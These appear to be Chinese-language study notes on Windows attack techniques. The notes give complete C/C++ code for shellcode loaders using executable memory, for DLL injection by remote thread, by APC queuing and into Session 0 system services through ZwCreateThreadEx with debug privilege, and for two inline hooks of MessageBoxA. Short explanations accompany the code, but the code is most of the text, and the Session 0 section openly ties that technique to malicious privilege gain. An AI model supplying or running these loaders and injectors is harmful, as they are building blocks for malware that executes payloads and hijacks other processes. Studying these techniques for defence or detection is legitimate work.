shellcode加载
指针加载
int main()
{
unsigned char buf[] = "shellcode";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
((void(*)())exec)();
void (*p)(); //一个正常的函数指针
void (*)(); //提取一下
( void (*)() ) exec //把exec 强制转换为这个函数指针
所以最后就是:((void(*)())exec)();
汇编调用
#pragma comment(linker, "/section:.data,RWE") //设置data 数据段,可执行权限
__asm{
lea eax,buf
call eax
}
创建一个线程去调用
hThread = CreateThread(NULL, NULL,(LPTHREAD_START_ROUTINE)shellcode, NULL,NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
注入
远程线程注入
// RemoteThreadInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
DWORD GetProPID(LPCTSTR exeName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试,error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, exeName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DllName)
{
//1、获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (hProcess == NULL)
{
std::cout << "OpenProcess error: " << GetLastError();
return 0;
}
//2、分配内存
SIZE_T size = (wcslen(DllName) + 2) * 2;
LPVOID dllAdr = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
if (dllAdr == NULL)
{
std::cout << "VirtualAllocEx error: " << GetLastError();
return 0;
}
//3、写入内存
BOOL B1 = WriteProcessMemory(hProcess, dllAdr, DllName, size, NULL);
if (B1 == 0)
{
std::cout << "WriteProcessMemory error: " << GetLastError();
return 0;
}
//4、获取LoadLibrary指针
FARPROC p_load = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (p_load == NULL)
{
std::cout << "GetProcAddress error: " << GetLastError();
return 0;
}
//5、创建远程线程执行
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)p_load, dllAdr, 0, NULL);
if (hThread == NULL)
{
std::cout << "CreateRemoteThread error: " << GetLastError();
return 0;
}
//6、等待线程结束
WaitForSingleObject(hThread, INFINITE);
//7、释放内存,关闭句柄
VirtualFreeEx(hProcess, dllAdr, size, MEM_DECOMMIT);
CloseHandle(hProcess);
return true;
}
int main()
{
DWORD PID = GetProPID(L"notepad.exe"); //找到PID
//开始注入 RemoteThreadInject(PID,L"C:\\Users\\1223\\source\\CS\\DLLinject\\RemoteThreadInject\\x64\\Debug\\Dll1.dll");
return 1;
}
//BUG总结:
// dll路径长度计算注意
APC注入
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:
1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。
2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) {
EnableDebugPrivilege();
//打开进程,获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return FALSE;
}
//向目标进程申请空间写入dll全路径
int nSize = strlen(pszDllName);
LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT,
PAGE_READWRITE);
SIZE_T dwWrittenSize = 0;
WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize);
//获取LoadLibraryA的地址
HMODULE hMod = GetModuleHandleA("kernel32.dll");
FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA");
//创建线程快照
THREADENTRY32 te = { 0 };
te.dwSize = sizeof(te);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnap == INVALID_HANDLE_VALUE) {
return FALSE;
}
DWORD dwRet = 0;
HANDLE hThread = NULL;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == dwPid) {
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (hThread) {
dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread,
(ULONG_PTR)pDllAddr);
hThread = NULL;
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnap);
return TRUE;
}
int main()
{
APCInjectDLL(23784, (char*)"C:\\Users\\1223\\Desktop\\x64.dll");
}
BUG注意:
session0注入
当我们使用远程线程注入将dll注入至系统服务进程中往往会失败,这是因为大多数系统服务都是在Session0中运行的。
"Session 0"是Windows操作系统中的一个特殊的会话,专门用于运行系统服务和其他在用户登录之前就需要运行的程序。从Windows Vista和Windows Server 2008开始,为了提高安全性,Windows将用户和系统服务分隔在不同的会话中。具体来说,所有的服务和系统任务都在Session 0中运行,而所有用户交互任务都在其他会话中运行。
"Session 0注入"一般指的是把一个程序(通常是一个恶意程序)注入到Session 0的过程。因为Session 0有许多特权,所以如果恶意程序能够成功注入到Session 0,就可以获得比正常用户更高的权限,从而进行更多的恶意操作。
以下是CreateRemoteThread
函数的调用流程图:
当我们使用DLL注入系统服务的进程时会失败,失败的原因在于,当CreateRemoteThread
函数尝试在Session 0隔离的系统服务进程中注入DLL时,它通过调用ZwCreateThread
函数创建远程线程,其中第七个参数CreateThreadFlags
被设置为1。这意味着创建的线程在完成后将被挂起,无法被恢复,因此导致注入失败。为了成功注入,需通过调用ZwCreateThreadEx
函数将此参数修改为0。
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <string>
#include <filesystem>
#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
//获取进程ID的函数
DWORD GetProcessIdByName(const std::wstring& name) {
DWORD pid = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W entry = { sizeof(entry) };
if (Process32FirstW(snap, &entry)) {
do {
if (std::wstring(entry.szExeFile) == name) {
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snap, &entry));
}
CloseHandle(snap);
}
return pid;
}
//提权函数,启用调试特权
//这个函数的主要作用是启用当前进程的“debug programs”特权,这个特权允许进程附加到其他进程并控制它们
BOOL EnableDebugPrivilege()
{
HANDLE hToken; // 用于保存进程访问令牌的句柄
BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态
// 获取当前进程的访问令牌
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
tp.PrivilegeCount = 1; // 设置特权数量为1
// 获取“Debug Programs”特权的本地唯一标识符(LUID)
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用
// 调整访问令牌,启用“Debug Programs”特权
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
CloseHandle(hToken); // 关闭访问令牌的句柄
}
return fOk; // 返回函数是否执行成功的状态
}
BOOL Session0Inject(DWORD pid, char* dllPath)
{
EnableDebugPrivilege(); //提权
DWORD DllNameLength = strlen(dllPath); //获取dll路径名的长度
// 检查文件是否存在 注意:<filesystem>库需使用支持C++17或更高版本的编译器
if (!std::filesystem::exists(dllPath)) {
printf("指定的DLL文件不存在\n");
return -1;
}
//1 获取目的进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
printf("打开进程失败: %d\n", GetLastError());
return -1;
}
//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
if (NULL == paraAddr)
{
printf("内存分配失败\n");
return -1;
}
//3 将DLL的路径写到目标进程的内存
if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
{
printf("写入内存失败!\n");
return false;
}
//4 获取loadlibrary函数的地址
HMODULE LibHandle = GetModuleHandle("kernel32.dll");
FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
if (!ProcAdd)
{
printf("获取LoadLibraryA失败!\n");
return false;
}
//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
DWORD dwStatus;
HANDLE hRemoteThread;
Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("GetProcAddress error\n");
return -1;
}
//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程,运行LoadLibraryA函数,参数为DLL路径
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
printf("ZwCreateThreadEx error\n");
return -1;
}
//释放dll
FreeLibrary(hNtdllDll);
//释放句柄
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
}
int main(int argc, char* argv[])
{
if (argc == 3)
{
//atoi函数可将字符串转化为整数
BOOL bRet = Session0Inject((DWORD)atoi(argv[1]), argv[2]);
if (-1 == bRet)
{
printf("Inject dll failed\n");
}
else
{
printf("Inject dll successfully\n");
}
}
else
{
printf("你需输入两个参数,参数1为pid,参数2为dll的绝对路径\n");
exit(1);
}
}
Hook
- 一种使用E9,计算jmp后面的地址,即 jmp address 跳转到自己写的函数
- 另外一种使用B8同样可以( mov eax,address ),然后使用 FFE0 ( jmp eax )跳转到自己写的函数
原理:
那么我们要实现jmp跳转,执行的命令为 jmp 0x123454678 ,需要5个字节,也
就是说至少要有5个字节的空间才能够写入jmp跳转的硬编码。
但是却,破坏了9个字节的数据,所以还要修复这9个字节。
方案如下:
注意:不使用的部分,写成 nop 防止出错。
代码:
//第一种:
#include <iostream>
#include <Windows.h>
HANDLE hProcess = GetCurrentProcess();
FARPROC MessageBoxAddress{};
char oldCode[5]{};
char MessageCode[5]{};
char newCode[5]{ 0xE9, 0x00, 0x00, 0x00, 0x00 };
int FuncSize(unsigned Adr)
{
int i = 0;
char* t3 = (char*)Adr;
for (; i < 50; i++)
{
if ((unsigned char)t3[i] == 0xCC) break;
}
return i;
}
void MyFuntion()
{
MessageBoxW(0, L"1", L"1", MB_OK);
}
/*
1、计算MyFunction大小,获取MessageBoxA的地址,
2、申请一块内存,
0-24:写入MyFunction;
24-29:备份的数据;
29-34:jmp MessageBoxA;
*/
BOOL inlineHOOK()
{
//1、------------------------------------
//计算MyFunction大小
int CountFunc = FuncSize((unsigned)MyFuntion);
CountFunc -= 1;
//加载user32.dll 获取MessageBoxA 函数地址
HMODULE hMod = LoadLibraryA("user32.dll");
MessageBoxAddress = GetProcAddress(hMod, "MessageBoxA");
DWORD dwOld;
VirtualProtect(MessageBoxAddress, 0x5, PAGE_EXECUTE_READWRITE, &dwOld);
//2、------------------------------
//申请内存
unsigned Adr = (unsigned)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
std::cout << "MessageBoxAddress: " << MessageBoxAddress << char(10) << "Adr: " << std::hex<< Adr;
//备份数据
ReadProcessMemory(hProcess, MessageBoxAddress, &MessageCode, 0x5, NULL);
WriteProcessMemory(hProcess, LPVOID(Adr+ CountFunc), (void*)MessageCode, 0x5, NULL);
//MessageBoxA 中写入跳转
unsigned t1 = (unsigned)Adr - (unsigned)MessageBoxAddress - 0x5;
char* p1 = (char*)(&t1);
newCode[1] = p1[0];
newCode[2] = p1[1];
newCode[3] = p1[2];
newCode[4] = p1[3];
WriteProcessMemory(hProcess, MessageBoxAddress, (void*)newCode, 0x5, NULL);
//新内存中写入 MyFunc
WriteProcessMemory(hProcess, LPVOID(Adr), MyFuntion, CountFunc, NULL);
// jmp MessageBox
unsigned t2 = ((unsigned)MessageBoxAddress +5) - (Adr + CountFunc + 0x5) - 5;
char* p2 = (char*) & t2;
oldCode[0] = 0xE9;
oldCode[1] = p2[0];
oldCode[2] = p2[1];
oldCode[3] = p2[2];
oldCode[4] = p2[3];
WriteProcessMemory(hProcess, LPVOID(Adr+ CountFunc + 0x5), (void*)oldCode, 0x5, NULL);
return 1;
}
int main()
{
inlineHOOK();
MessageBoxA(0, "2", "2", MB_OK);
return 1;
}
注意:最后一个字节(ret指令)不要copy,
因为我们是通过 jmp 指令直接过来的,不是通过call,此时的 栈 还是在MessageBoxA 范围中;如果 ret 的话,就直接结束了 MessageBoxA 函数,栈不平衡,直接崩溃。
jmp跳转指令公式: 目标地址 - 当前地址 - 5 。
//第二种:
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <tchar.h>
int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
BYTE NewCode[7] = { 0xE9, 0x0, 0x0, 0x0, 0x0, 0x0 };
BYTE OldCode[7] = { 0 };
FARPROC MessageBoxAddress;
void InlineHook()
{
HMODULE hModule_User32 = LoadLibrary(L"user32.dll");
MessageBoxAddress = GetProcAddress(hModule_User32, "MessageBoxA");
printf("MessageBoxA Addr is %x\n", MessageBoxAddress);
printf("MyMessageBoxA Addr is %x\n", MyMessageBoxA);
if (ReadProcessMemory(INVALID_HANDLE_VALUE, MessageBoxAddress, OldCode, 7,
NULL) == 0)
{
printf("ReadProcessMemory error\n");
return;
}
printf("OldCode is %x%x%x%x%x%x%x\n", OldCode[0], OldCode[1], OldCode[2],
OldCode[3], OldCode[4], OldCode[5], OldCode[6]);
DWORD JmpAddress = (DWORD)MyMessageBoxA;
NewCode[0] = 0xB8;
memcpy(&NewCode[1], &JmpAddress, 4);
NewCode[5] = 0xFF;
NewCode[6] = 0xE0;
DWORD dwOldProtect = 0;
printf("NewBytes is %x%x%x%x%x\n", NewCode[0], NewCode[1], NewCode[2],
NewCode[3], NewCode[4], NewCode[5], NewCode[6]);
::VirtualProtect(MessageBoxAddress, 7, PAGE_EXECUTE_READWRITE,
&dwOldProtect);
WriteProcessMemory(INVALID_HANDLE_VALUE, MessageBoxAddress, NewCode, 7,
NULL);
::VirtualProtect(MessageBoxAddress, 7, dwOldProtect, &dwOldProtect);
}
//注意 参数,调用约定,维护栈平衡
int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
printf("MessageBoxA 已经被Hook\n");
//恢复MessageBoxA 原数据
WriteProcessMemory(INVALID_HANDLE_VALUE, (void*)MessageBoxAddress,
(void*)OldCode, 7, NULL);
int ret = MessageBoxA(NULL, "Hello World1111111", "Title111111111", MB_OK);
//再次写入 跳转
WriteProcessMemory(INVALID_HANDLE_VALUE, (void*)MessageBoxAddress,
(void*)NewCode, 7, NULL);
return ret;
}
void main()
{
InlineHook();
MessageBoxA(NULL, "Hello World", "Title", MB_OK);
}
mov eax,0x12345678
jmp eax
这里直接用了寄存器,不需要计算跳转地址。
总结:
第一种:写入一次,比较麻烦
第二种:每调用一次,就要写入一次,简单一点。
实战中基本都用不到,仅做入门思路学习。